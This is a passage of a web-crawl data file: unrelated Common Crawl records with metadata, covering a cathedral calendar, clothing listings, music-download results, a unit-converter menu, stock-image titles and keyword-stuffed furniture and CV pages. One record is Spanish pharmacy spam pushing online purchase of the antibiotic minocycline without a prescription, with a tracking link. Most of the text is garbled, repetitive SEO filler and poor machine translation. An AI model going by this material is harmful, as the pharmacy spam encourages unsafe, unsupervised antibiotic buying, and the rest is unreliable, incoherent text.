actosActos junio 5thSin actosActos junio 6thSin actosActos junio 7thSin actos891011121314Actos junio 8thSin actosActos junio 9thSin actosActos junio 10thSin actosActos junio 11thSin actosActos junio 12thSin actosActos junio 13thSin actosActos junio 14thSin actos15161718192021Actos junio 15thSin actosActos junio 16thSin actosActos junio 17thSin actosActos junio 18thSin actosActos junio 19thSin actosActos junio 20thSin actosActos junio 21stSin actos22232425262728Actos junio 22ndSin actosActos junio 23rdSin actosActos junio 24thSin actosActos junio 25thSin actosActos junio 26thSin actosActos junio 27thSin actosActos junio 28thSin actos293012345 Actos junio 29thSin actosActos junio 30thSin actos","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.catedraldesevilla.es\/actos\/solemnidad-de-santiago-apostol-2\/","date":"2020-06-06T07:35:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590348511950.89\/warc\/CC-MAIN-20200606062649-20200606092649-00370.warc.gz","language":"ina","language_score":0.491371125,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.49137112498283386, \"spa_Latn_score\": 0.4569156765937805}","num_words":317,"character_repetition_ratio":0.398,"word_repetition_ratio":0.692,"special_characters_ratio":0.273,"stopwords_ratio":0.101,"flagged_words_ratio":0.0,"lang_id_score":0.516,"perplexity_score":10397.1,"cluster_detection":-1} +{"text":"Le Bon Shoppe Bolsillo natural suave\nLe Bon Shoppe - Sweater de Olive Branch Andre\nLe Bon Shoppe Camiseta blanca clásica\nLe Bon Shoppe Suéter de jarro de Andre Heather Gray\nLe Bon Shoppe - Suéter Andre gris jaspeado\nLe Bon Shoppe Suéter Sand Envie\nLe Bon Shoppe Pantalones globo tabaco\nLe Bon Shoppe Suéter gris jaspeado Envie\nLe Bon Shoppe Calcetines de novio | Musgo\nLe Bon Shoppe Heather Grey su camiseta\nLe Bon Shoppe - suéter Olive Envie\nLe Bon Shoppe Calcetines de novio | Avena\nLe Bon Shoppe Calcetines Boyfriend Biscotti\nLe Bon Shoppe Calcetines de carbón en la nube\nLe Bon Shoppe - Sus calcetines - Canalé de algodón peinado - Pesto\nLe Bon Shoppe Medianoche sus calcetines\nLe Bon Shoppe - Sus Calcetines - Modal Lurex Mostaza\nLe Bon Shoppe Kelly Green sus calcetines\nLe Bon Shoppe - Sus calcetines - Varsity Red\nLe Bon Shoppe - Calcetines de novia - Bellini\nLe Bon Shoppe Calcetines Arctic Mostaza\nLe Bon Shoppe Calcetines de cabaña toffee\nLe Bon Shoppe Calcetines de novio - gris claro\nLe Bon Shoppe Calcetines de novio - rosa vintage\nLe Bon Shoppe Calcetines Bellini Novia\nLe Bon Shoppe Pantalones globo de alabastro\nLe Bon Shoppe Suéter Mushroom Envie\nLe Bon Shoppe Pantalones de globo de alabastro\nLe Bon Shoppe - Calcetines Grandpa Varsity\nLe Bon Shoppe - Varsity - Rojo\nLe Bon Shoppe Sus calcetines de botón de oro\nLe Bon Shoppe - Vestido Domingo Tabaco\nLe Bon Shoppe Calcetines Cottage Lino Blanco\nLe Bon Shoppe Calcetines Árticos Verdes\nLe Bon Shoppe Calcetines de nieve de carbón\nLe Bon Shoppe - Vestido Domingo Carbón\nLe Bon Shoppe Calcetines Boyfriend Vintage Rosa\nLe Bon Shoppe Calcetines de novia de cazador verde\nLe Bon Shoppe - Calcetines de novio - Coral\nLe Bon Shoppe Calcetines de novio de uva\nLe Bon Shoppe Calcetines mostaza ártica\nLe Bon Shoppe Calcetines de guijarros árticos\nLe Bon Shoppe Calcetines Pebble Arctic\nLe Bon Shoppe Calcetines árticos de avena\nLe Bon Shoppe Camiseta del domingo\nLe Bon Shoppe Tejido costilla sus calcetines | Porcelana\nLe Bon Shoppe Pesto sus calcetines","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.trouva.com\/es\/brands\/le-bon-shoppe?category=Womens&p=1","date":"2023-02-02T14:21:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500028.12\/warc\/CC-MAIN-20230202133541-20230202163541-00438.warc.gz","language":"ina","language_score":0.6864941716,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6864941716194153, \"frp_Latn_score\": 0.08401346206665039, \"spa_Latn_score\": 0.08200493454933167, \"nap_Latn_score\": 0.06600093096494675, \"fra_Latn_score\": 0.016400326043367386, \"ile_Latn_score\": 0.016203878447413445}","num_words":611,"character_repetition_ratio":0.333,"word_repetition_ratio":0.056,"special_characters_ratio":0.187,"stopwords_ratio":0.133,"flagged_words_ratio":0.0,"lang_id_score":0.388,"perplexity_score":11514.7,"cluster_detection":-1} +{"text":"Descargar Musica de Le Tigre\nResultados :\nEscuchar musica de le tigre\nLe TigreHot Topic03:44\nLe TigreDeceptacon03:04\nLe TigreDarwinism And The Status Quo02:05\nLe TigreMy My Metrocard02:54\nLe TigreFYR (из Imagination 1)03:15\nLe TigreDeceptacon (the Dfa Rmx)04:08\nLe TigreDeceptation03:04\nLe TigreAfter Dark (Morels Pink Noise Dub Mix)08:15\nLe TigreDude, Yr So Crazy!03:26\n3.13QaF Le TigreWell Well Well04:19\nLe TigreDeceptacon (DFA Remix)06:23\nLe TigreTko03:23\nLeTigreLe Tigre - Deceptacon (1)03:04\nSam - CompilationLe Tigre - Dereptaron (DFA Rmx)06:22\nLe Tigre12 - Cry For Everything Bad That's Ever Happened02:41\nLe Tigre (dfa Mix)Deceptacon06:17\nVitas GuerulaïtisLe Tigre04:01\nLe TigreDeceptacon (реклама Samsung C3200)03:04\nLe TigreSlideshow At Free University02:48\nLe TigreMy My Metrocard02:53\nLe TigreDeseptagon03:05\nLe TigreI'm So Excited лучшая музыка вконтакте каждый день03:49\nLe TigreLe Tigre - Deceptation03:06\nLe TigreSeconds02:08\nDiploLe Tigre - Decepticon03:09\nLe TigreHot Topic [BBC Evening Session]03:07\nLe TigreDeceptacon (DFA Remix)06:17\nIan HeikkiMy My Metrocard (Le Tigre Cover)03:45\nLe TigreDyke March 2001 (Reid's Afro-Dykey Mix)06:08\nНеизвестен09. Le Tigre - Friendship Station03:07\nLe TigreIm So Exited03:49\nTigaLe Tigre - Decepticon (DFA Remix)04:08\nLe TigreHot Topic03:43\nLe TigreThe Cars That Go Boom03:50\nLe TigreI Wish I Was Him03:00\nLe Tigre106:19\nLe TigreDyke March 200103:51\nLe TigreLes And Ray02:05\nLe TigreMuch Finer (Original Version)02:55\nLe TigreT.K.O03:23\nLe Tigre203:04\nLe TigreFYR02:40\nLe TigreDeceptation06:13\nLe TigreHot Topic (BBC Evening Session)03:07\nLe TigreDeceptacon (Chanel \"Руж Коко Стило\" 2016)03:04\nLe TigreI'm So Excited03:49\nLe TigreDeceptacon (DFA Remix)06:21\nLe TigreAfter Dark (NDB Vocal Disco Mix)03:52\nLe TigreDeceptacon 103:04\nLe TigreMuch Finer[the Flaxdalass Mix]03:27","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/taringamp3.com\/mp3\/le-tigre","date":"2017-02-25T00:47:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171632.91\/warc\/CC-MAIN-20170219104611-00515-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.352430284,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3524302840232849, \"fra_Latn_score\": 0.0693681389093399, \"vec_Latn_score\": 0.05084025487303734, \"lmo_Latn_score\": 0.03972350433468819, \"frp_Latn_score\": 0.039058394730091095, \"hat_Latn_score\": 0.03440156579017639, \"nrm_Latn_score\": 0.033470913767814636, \"ita_Latn_score\": 0.029683038592338562, \"smo_Latn_score\": 0.027713827788829803, \"kiu_Latn_score\": 0.0208581630140543, \"pms_Latn_score\": 0.02039826661348343, \"srd_Latn_score\": 0.015326453372836113, \"nap_Latn_score\": 0.01498577930033207, \"dag_Latn_score\": 0.014968211762607098, \"eng_Latn_score\": 0.012927379459142685, \"ron_Latn_score\": 0.012395806610584259, \"spa_Latn_score\": 0.010118807666003704}","num_words":498,"character_repetition_ratio":0.132,"word_repetition_ratio":0.043,"special_characters_ratio":0.317,"stopwords_ratio":0.108,"flagged_words_ratio":0.0,"lang_id_score":0.233,"perplexity_score":23320.5,"cluster_detection":-1} +{"text":"Descargar Musica de Peter Doherty Stranger In My Own Skin\nBuscar: Artista y\/o cancion\nResultados :\nEscuchar musica de peter doherty stranger in my own skin\nPeter DohertyStranger In My Own Skin (live)02:25\nPeter DohertyStranger In My Own Skin03:09\nPeter DohertyStranger In My Own Skin02:58\nPeter DohertyStranger In My Own Skin02:25","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/taringamp3.com\/mp3\/peter-doherty-stranger-in-my-own-skin","date":"2017-02-19T12:10:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501169769.33\/warc\/CC-MAIN-20170219104609-00491-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.4460006356,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4460006356239319, \"sco_Latn_score\": 0.1332489550113678, \"vec_Latn_score\": 0.08132237195968628, \"srd_Latn_score\": 0.07011861354112625, \"ita_Latn_score\": 0.04201642423868179, \"scn_Latn_score\": 0.024794474244117737, \"eng_Latn_score\": 0.023229196667671204, \"lmo_Latn_score\": 0.014478516764938831, \"pap_Latn_score\": 0.010761331766843796, \"ile_Latn_score\": 0.010603685863316059, \"lim_Latn_score\": 0.010526265949010849, \"eml_Latn_score\": 0.01051420159637928, \"dag_Latn_score\": 0.010452106595039368}","num_words":102,"character_repetition_ratio":0.218,"word_repetition_ratio":0.559,"special_characters_ratio":0.227,"stopwords_ratio":0.01,"flagged_words_ratio":0.0,"lang_id_score":0.589,"perplexity_score":15713.6,"cluster_detection":-1} +{"text":"Einheiten Umrechnen\n>\nMaßeinheiten Umrechnen\n>\ngeschwindigkeitumrechner\n>\nfuß pro stunde-umrechnung\nFuß pro Stunde-Umrechnung\nVerwenden Sie das Suchfeld, um den gewünschten Umrechner zu finden\n→\nGeschwindigkeit\nFuß pro Stunde\nFuß pro Stunde in Kilometer pro Stunde\nFuß pro Stunde in Meilen pro Stunde\nFuß pro Stunde in Meter pro Sekunde\nFuß pro Stunde in Knoten\nFuß pro Stunde in Mach\nFuß pro Stunde in Kilometer pro Sekunde\nFuß pro Stunde in Zentimeter pro Sekunde\nFuß pro Stunde in Millimeter pro Sekunde\nFuß pro Stunde in Mikrometer pro Sekunde\nFuß pro Stunde in Meilen pro Sekunde\nFuß pro Stunde in Yards pro Sekunde\nFuß pro Stunde in Fuß pro Sekunde\nFuß pro Stunde in Zoll pro Sekunde\nFuß pro Stunde in Meter pro Minute\nFuß pro Stunde in Kilometer pro Minute\nFuß pro Stunde in Zentimeter pro Minute\nFuß pro Stunde in Millimeter pro Minute\nFuß pro Stunde in Mikrometer pro Minute\nFuß pro Stunde in Meilen pro Minute\nFuß pro Stunde in Yards pro Minute\nFuß pro Stunde in Fuß pro Minute\nFuß pro Stunde in Zoll pro Minute\nFuß pro Stunde in Meter pro Stunde\nFuß pro Stunde in Zentimeter pro Stunde\nFuß pro Stunde in Millimeter pro Stunde\nFuß pro Stunde in Mikrometer pro Stunde\nFuß pro Stunde in Yards pro Stunde\nFuß pro Stunde in Zoll pro Stunde\nFuß pro Stunde in Meter pro Tag\nFuß pro Stunde in Kilometer pro Tag\nFuß pro Stunde in Zentimeter pro Tag\nFuß pro Stunde in Millimeter pro Tag\nFuß pro Stunde in Mikrometer pro Tag\nFuß pro Stunde in Meilen pro Tag\nFuß pro Stunde in Yards pro Tag\nFuß pro Stunde in Fuß pro Tag\nFuß pro Stunde in Zoll pro Tag\nFuß pro Stunde in Lichtgeschwindigkeit\nMeilen pro Stunde\nKilometer pro Stunde\nMeter pro Sekunde\nKnoten\nMach\nLichtgeschwindigkeit\nMeilen pro Sekunde\nKilometer pro Tag\nMeter pro Minute\nKilometer pro Minute\nZentimeter pro Minute\nMikrometer pro Tag\nMeilen pro Tag\nYards pro Tag\nFuß pro Tag\nZoll pro Tag\nZentimeter pro Sekunde\nMillimeter pro Sekunde\nMikrometer pro Sekunde\nMeter pro Tag\nYards pro Stunde\nZoll pro Stunde\nKilometer pro Sekunde\nMillimeter pro Minute\nMikrometer pro Minute\nMeilen pro Minute\nMillimeter pro Stunde\nMikrometer pro Stunde\nYards pro Sekunde\nFuß pro Sekunde\nZoll pro Sekunde\nZentimeter pro Tag\nMillimeter pro Tag\nYards pro Minute\nFuß pro Minute\nZoll pro Minute\nMeter pro Stunde\nZentimeter pro Stunde\nWährung\nTemperatur\nGewicht\nLänge\nFläche\nVolumen\nZeit\nUmrechnungstabelle für metrische Maßeinheiten\nApp für iPhone & Android\nFuß pro Stunde","id":"","dump":"CC-MAIN-2017-47","url":"http:\/\/www.metric-conversions.org\/de\/geschwindigkeit\/fuss-pro-stunde-umwandlung.htm","date":"2017-11-20T22:56:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806258.88\/warc\/CC-MAIN-20171120223020-20171121003020-00104.warc.gz","language":"ina","language_score":0.325804472,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3258044719696045, \"deu_Latn_score\": 0.323915958404541, \"goh_Latn_score\": 0.260194331407547, \"knc_Latn_score\": 0.0103508485481143}","num_words":761,"character_repetition_ratio":0.317,"word_repetition_ratio":0.073,"special_characters_ratio":0.176,"stopwords_ratio":0.022,"flagged_words_ratio":0.0,"lang_id_score":0.954,"perplexity_score":12415.4,"cluster_detection":-1} +{"text":"1 De Corporation Bleu\nImages Stock\n1,542 résultats\nMur de corporation bleu d'hublotsBâtiment de corporation 90Construction de corporation bleueTexture de corporation d'hublotsBâtiment de corporation 20Bâtiment de corporation 60Bâtiment de corporation 50Bâtiment de corporation 130Bâtiment de corporation 100Équipe de corporationÉquipe de corporationConstruction de corporation bleue dans un ciel bleuGratte-ciel de corporation dans le bleu avec des réflexionsHaute construction de corporation contre le ciel bleuGratte-ciel de corporation dans le bleu avec des réflexionsConstruction de corporationNuages de corporationConstructions de corporation à LondresConstruction de corporationConstruction de corporationConstruction de corporationCompagnie ou étoile de corporationConstruction de corporationConstruction de corporationConstruction de corporationArchitecture de corporationConstruction de corporationArchitecture de corporationConstruction de corporationGratte-ciel de corporationConstruction de corporationPasserelle de corporationGratte-ciel de corporationConstruction de corporationConstruction de corporationConstruction de corporation excessiveConstruction de corporationConstruction de corporation excessiveConstruction de corporation bleueConstruction de corporation contemporaineConstruction de corporationBuildind de corporationConstruction de corporationConstruction de corporationConstruction de corporationConstruction de corporationConstructions de corporationBuildling de corporationConstruction de corporationTour en verre - construction de corporationConstruction de corporationConstructions de corporationConstruction de corporationConstructions de corporationBuildinds de corporationConstruction de corporationConstruction de corporation3 constructions de corporationConstruction de corporationConstruction de corporationConstruction de corporationFaçade en verre - construction de corporationConstruction de corporation contemporaineBureau de corporationBureau de corporationConstruction de corporationConstructions de corporationBuildings#3 de corporationConstruction de corporationImmeuble de bureaux de corporationConstructions de corporationConstruction de corporationConstruction de corporationConstruction de corporationDétail de corporation de constructionConstruction de corporationBuildings#3 de corporationNYC : 6èmes tours de corporation en verre d'avenueImmeubles de bureaux de corporationConstructions de corporation","id":"","dump":"CC-MAIN-2018-26","url":"https:\/\/fr.dreamstime.com\/photos-images\/1-de-corporation-bleu.html","date":"2018-06-22T09:32:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267864387.54\/warc\/CC-MAIN-20180622084714-20180622104714-00450.warc.gz","language":"ina","language_score":0.4075382352,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4075382351875305, \"fra_Latn_score\": 0.35136622190475464, \"nld_Latn_score\": 0.03128174692392349, \"dag_Latn_score\": 0.02315572090446949, \"dan_Latn_score\": 0.016032036393880844, \"frp_Latn_score\": 0.01497940719127655, \"fin_Latn_score\": 0.012701448053121567, \"swe_Latn_score\": 0.011839322745800018, \"lit_Latn_score\": 0.011572815477848053, \"lvs_Latn_score\": 0.010004458948969841}","num_words":453,"character_repetition_ratio":0.539,"word_repetition_ratio":0.23,"special_characters_ratio":0.108,"stopwords_ratio":0.031,"flagged_words_ratio":0.0,"lang_id_score":0.706,"perplexity_score":11199.4,"cluster_detection":-1} +{"text":"bibliotheque style scandinave bibliotheque design vintage scandinave en teck bibliotheque basse style scandinave.\ndesign blanc meuble bibliotheque style scandinave bibliothaque bois en erika basse etagare,bibliotheque style scandinave de niches 8 basse bibliothaque bureau meuble,style bibliotheque scandinave livingproof bibliothaque basse magnifique meuble 28,deco blanche bibliotheque scandinave ideeco idee meuble style salon basse,decoration style bibliotheque basse scandinave meuble une maison au blog bibliothaque,depot bibliothaque meuble bibliotheque style scandinave basse design filo,bibliotheque style scandinave meuble basse,blanc bibliothaque style meuble bibliotheque scandinave miurem de console basse achat,bibliotheque basse style scandinave dintacrieur salle sacjour meuble bibliothaque design de,meuble bibliotheque style scandinave de basse vente miurem bibliothaque achat blanc.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/putlockerfree.pro\/bibliotheque-style-scandinave\/bibliotheque-style-scandinave-bibliotheque-design-vintage-scandinave-en-teck-bibliotheque-basse-style-scandinave\/","date":"2018-11-15T05:54:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039742567.46\/warc\/CC-MAIN-20181115054518-20181115075743-00013.warc.gz","language":"ina","language_score":0.4522043765,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4522043764591217, \"fra_Latn_score\": 0.19139224290847778, \"eng_Latn_score\": 0.12302080541849136, \"lat_Latn_score\": 0.10135933756828308, \"ita_Latn_score\": 0.03161625564098358, \"enm_Latn_score\": 0.020813895389437675, \"sco_Latn_score\": 0.019628029316663742}","num_words":229,"character_repetition_ratio":0.253,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.166,"flagged_words_ratio":0.0,"lang_id_score":0.452,"perplexity_score":12373.1,"cluster_detection":-1} +{"text":"Birth Certificate Translation Template\nMarriage Certificate Translation Template Lovely Sample Birth pertaining to Birth Certificate Translation Template\nBirth Certificate Translation Template Russian To English pertaining to Birth Certificate Translation Template\nSample Of Birth Certificate Translation From Russian To English in Birth Certificate Translation Template\nBirth Certificate Translation Of Public Legal Documents in Birth Certificate Translation Template\nMexican Birth Certificate Template Luxury Mexican Marriage inside Birth Certificate Translation Template\nMexican Death Certificate Translation Samp Mexican Death Certificate with Birth Certificate Translation Template\nMexican Birth Certificate Translation Template Mexican Birth inside Birth Certificate Translation Template\nItalian Birth Certificate Translation Template – Feedscast inside Birth Certificate Translation Template","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/shoeluv.com\/archives\/2570\/birth-certificate-translation-template\/","date":"2018-11-15T07:01:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039742567.46\/warc\/CC-MAIN-20181115054518-20181115080518-00117.warc.gz","language":"ina","language_score":0.3100134432,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.31001344323158264, \"eng_Latn_score\": 0.15991896390914917, \"enm_Latn_score\": 0.07274828106164932, \"dag_Latn_score\": 0.05519327148795128, \"jam_Latn_score\": 0.03721500188112259, \"pcm_Latn_score\": 0.03466927260160446, \"sco_Latn_score\": 0.023585734888911247}","num_words":181,"character_repetition_ratio":0.336,"word_repetition_ratio":0.081,"special_characters_ratio":0.117,"stopwords_ratio":0.11,"flagged_words_ratio":0.0,"lang_id_score":0.709,"perplexity_score":16654.9,"cluster_detection":-1} +{"text":"donde comprar minocycline hydrochloride sin receta buenos aires\nLa Mejor Farmacia Online Ordenar Minocycline hydrochloride Minocin 100 mg!!\nEntre Aquí Para Ordenar minocycline hydrochloride Generica En Nuestra Farmacia Con Seguridad ➠\nminocycline hydrochloride precio medicamento\ncomprar minocin mundo Estados Unidos\ncomo comprar minocycline hydrochloride sin receta argentina\nprecio minocycline hydrochloride en farmacias mexico\nque se necesita para comprar minocycline hydrochloride\ncomprar minocin Chile\ncomprar minocin 50mg tabletas\nhttp:\/\/www.lduhtrp.net\/image-7192482-11 ... nline.html\ncomprar minocycline hydrochloride 50 mg en vigo\nminocycline hydrochloride 50 mg compras\ncomprar minocycline hydrochloride directorio. comprar minocycline hydrochloride con receta medica, comprar minocycline hydrochloride en murcia. minocycline hydrochloride cali ventas. minocycline hydrochloride 100mg venta en lima.\nonde comprar minocycline hydrochloride no rio de janeiro\ncomprar minocycline hydrochloride 100 mg o similar\nminocin 100 mg solo comprar\ncomprar minocycline hydrochloride generica madrid: comprar minocycline hydrochloride para hombres; comprar minocycline hydrochloride generico europa; minocycline hydrochloride venta espana\ncomprar minocycline hydrochloride con amex\ncomprar minocycline hydrochloride online en españa\nminocycline hydrochloride 100mg venta en ecuador\ndonde comprar minocycline hydrochloride tijuana. minocycline hydrochloride generico mejor precio. minocycline hydrochloride donde comprar cordoba, comprar minocycline hydrochloride y minocin generico. comprar minocycline hydrochloride 100mg sin receta capital. donde comprar minocycline hydrochloride sin receta argentina. quiero comprar minocycline hydrochloride\nse puede comprar minocycline hydrochloride sin receta en una farmacia, minocycline hydrochloride generico precio argentina. para comprar minocycline hydrochloride necesito receta medica en mexico, donde comprar minocycline hydrochloride en lima\ncomprar minocycline hydrochloride 100 mg estados unidos\nprecio del medicamento minocycline hydrochloride 50 mg? comprar minocycline hydrochloride 100mg en farmacia online.\ncomprar minocycline hydrochloride generico sin receta Chile\ncomprar minocycline hydrochloride sin receta bilbao\ncomprar minocycline hydrochloride 100mg españa\ncomprar minocycline hydrochloride por internet peru\ncomprar minocycline hydrochloride online peru; minocycline hydrochloride 50mg donde comprar en mexico. comprar minocycline hydrochloride 50mg generico en farmacias; comprar minocycline hydrochloride pura, comprar minocycline hydrochloride en andorra sin receta. minocycline hydrochloride 50mg sublingual comprar argentina\ncomprar minocin por transferencia bancaria\ncomprar minocycline hydrochloride sin receta en murcia; donde comprar minocycline hydrochloride en usa; minocycline hydrochloride 50mg sin receta argentina\ncomprar minocycline hydrochloride e minocycline hydrochloride Perú\nminocycline hydrochloride en venta. comprar minocycline hydrochloride sin receta en mendoza argentina. comprar minocycline hydrochloride autentica. comprar minocycline hydrochloride online portugal; comprar minocycline hydrochloride natural bilbao. comprar minocycline hydrochloride en farmacia sin receta medica. minocycline hydrochloride comprar venezuela. donde comprar minocycline hydrochloride en mexico sin receta. comprar minocycline hydrochloride en la paz bolivia.comprar minocycline hydrochloride valencia\ncomprar minocycline hydrochloride 100mg en españa 2018\ncomprar minocycline hydrochloride quilmes\nIde jöhet minden ami a Virtuális és Kiterjesztett valósággal kapcsolatos. Pl: Fejlesztéssel kapcsolatos témák, hírek, útmutatók stb.\nVálasz küldése\n1 hozzászólás • Oldal: 1 \/ 1","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/unrealdev.hu\/viewtopic.php?f=9&t=284052","date":"2018-12-14T23:33:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376826530.72\/warc\/CC-MAIN-20181214232243-20181215014243-00152.warc.gz","language":"ina","language_score":0.6856520772,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.6856520771980286, \"nld_Latn_score\": 0.07758669555187225, \"mlt_Latn_score\": 0.044905297458171844, \"spa_Latn_score\": 0.033542923629283905, \"ile_Latn_score\": 0.022552138194441795, \"lvs_Latn_score\": 0.019356662407517433, \"eng_Latn_score\": 0.011717559769749641, \"por_Latn_score\": 0.01146145910024643, \"lat_Latn_score\": 0.010020649060606956}","num_words":1122,"character_repetition_ratio":0.447,"word_repetition_ratio":0.169,"special_characters_ratio":0.148,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":0.694,"perplexity_score":10874.8,"cluster_detection":-1} +{"text":"un exemple de resume simple simple word exemple de resume simple.\nmodele de curriculum vitae simple pour wilderness orientation exemple resume,exemple de resume simple word gisco curriculum vitae modele,exemple de resume simple modele curriculum vitae,exemple de resume simple modele curriculum vitae,modele de curriculum vitae simple exemple resume pour,modele de curriculum vitae simple exemple resume country club,mol simple exemple de resume modele curriculum vitae,exemple de resume simple modele curriculum vitae country club,curriculum vitae simple exemple de modele resume, exemple de curriculum vitae simple modele resume.","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/abou.info\/un-exemple-de-resume-simple\/un-exemple-de-resume-simple-simple-word-exemple-de-resume-simple\/","date":"2019-01-21T09:54:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583771929.47\/warc\/CC-MAIN-20190121090642-20190121112642-00429.warc.gz","language":"ina","language_score":0.3543022573,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3543022572994232, \"lat_Latn_score\": 0.2515728771686554, \"fra_Latn_score\": 0.16158320009708405, \"ron_Latn_score\": 0.04380469396710396, \"sco_Latn_score\": 0.02951936237514019, \"cat_Latn_score\": 0.02804942987859249, \"oci_Latn_score\": 0.020038846880197525, \"por_Latn_score\": 0.013479486107826233, \"eng_Latn_score\": 0.012936932034790516, \"nrm_Latn_score\": 0.010610437951982021}","num_words":146,"character_repetition_ratio":0.225,"word_repetition_ratio":0.19,"special_characters_ratio":0.149,"stopwords_ratio":0.219,"flagged_words_ratio":0.0,"lang_id_score":0.354,"perplexity_score":3433.7,"cluster_detection":-1} +{"text":"bibliotheque separation de piece separation piece co vintage laguerresmotscom vintage bibliotheque separation de piece ikea.\npiece separation bibliotheque de ikea ,sign separation piece s bibliotheque de ikea, separation piece archives bibliotheque de ikea,bibliotheque separation de piece ikea ntrace bureau en ,pour separation piece speaking roses bibliotheque de ikea , separation piece bibliotheque de ikea, bibliotheque separation de piece ikea download by, beau separation piece bibliotheque de ikea, bibliotheque separation de piece ikea s sign,bibliotheque separation de piece ikea vintage.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/powderbluenews.com\/bibliotheque-separation-de-piece\/bibliotheque-separation-de-piece-separation-piece-co-vintage-laguerresmotscom-vintage-bibliotheque-separation-de-piece-ikea\/","date":"2019-02-19T21:17:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247492825.22\/warc\/CC-MAIN-20190219203410-20190219225410-00070.warc.gz","language":"ina","language_score":0.6989728808,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6989728808403015, \"nhg_Latn_score\": 0.030365455895662308, \"lat_Latn_score\": 0.028611911460757256, \"eng_Latn_score\": 0.02857639268040657, \"fra_Latn_score\": 0.019170399755239487, \"ron_Latn_score\": 0.01414673775434494, \"mlt_Latn_score\": 0.012172458693385124, \"ltg_Latn_score\": 0.010945793241262436, \"dan_Latn_score\": 0.010613702237606049, \"por_Latn_score\": 0.010348103940486908}","num_words":165,"character_repetition_ratio":0.258,"word_repetition_ratio":0.186,"special_characters_ratio":0.149,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":0.699,"perplexity_score":7544.9,"cluster_detection":-1} +{"text":"un exemple de resume simple exemple de resume simple.\nmodele de curriculum vitae simple exemple resume pour,exemple de curriculum vitae simple modele en resume,exemple de curriculum vitae simple gisco resume modele,simple pour wilderness orientation exemple de resume curriculum vitae modele,simple pour exemple de resume modele curriculum vitae,exemple de resume simple curriculum vitae modele b a,exemple de curriculum vitae simple resume modele,mol simple exemple de resume modele curriculum vitae,exemple de resume simple modele curriculum vitae mol mole,exemple de resume simple modele curriculum vitae.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/abou.info\/un-exemple-de-resume-simple\/un-exemple-de-resume-simple-exemple-de-resume-simple\/","date":"2019-03-19T20:43:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202131.54\/warc\/CC-MAIN-20190319203912-20190319225912-00213.warc.gz","language":"ina","language_score":0.3264517188,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.32645171880722046, \"lat_Latn_score\": 0.2955697178840637, \"fra_Latn_score\": 0.13316139578819275, \"ron_Latn_score\": 0.03639674186706543, \"sco_Latn_score\": 0.033814217895269394, \"cat_Latn_score\": 0.03304241970181465, \"oci_Latn_score\": 0.03060842491686344, \"nrm_Latn_score\": 0.016461672261357307, \"nhg_Latn_score\": 0.012980321422219276, \"ast_Latn_score\": 0.010099472478032112}","num_words":149,"character_repetition_ratio":0.254,"word_repetition_ratio":0.157,"special_characters_ratio":0.151,"stopwords_ratio":0.221,"flagged_words_ratio":0.0,"lang_id_score":0.326,"perplexity_score":3180.6,"cluster_detection":-1} +{"text":"cite internationale lyon cite internationale lyon parking.\ncite internationale lyon trusted comfort in the centre of hotel temporim cite internationale lyon.\ncite internationale lyon plaza cite building ibis lyon caluire cite internationale hotel.\ncite internationale lyon art plays an important role here from blue diodes to big statues including a bear a big penguin young girl with restaurant japonais cite internationale lyon.\ncite internationale lyon hotel cite cite internationale lyon lamphitheatre.\ncite internationale lyon hotel cite photo amphitheatre cite internationale lyon plan de la salle.\ncite internationale lyon plaza cite superior room 1 queen bed ugc cine cite internationale lyon tarif.\ncite internationale lyon exterior hotel cite ex cite internationale lyon adresse.\ncite internationale lyon hotel temporim cite internationale lyon.\ncite internationale lyon s manifestations s hotel crowne plaza cite internationale 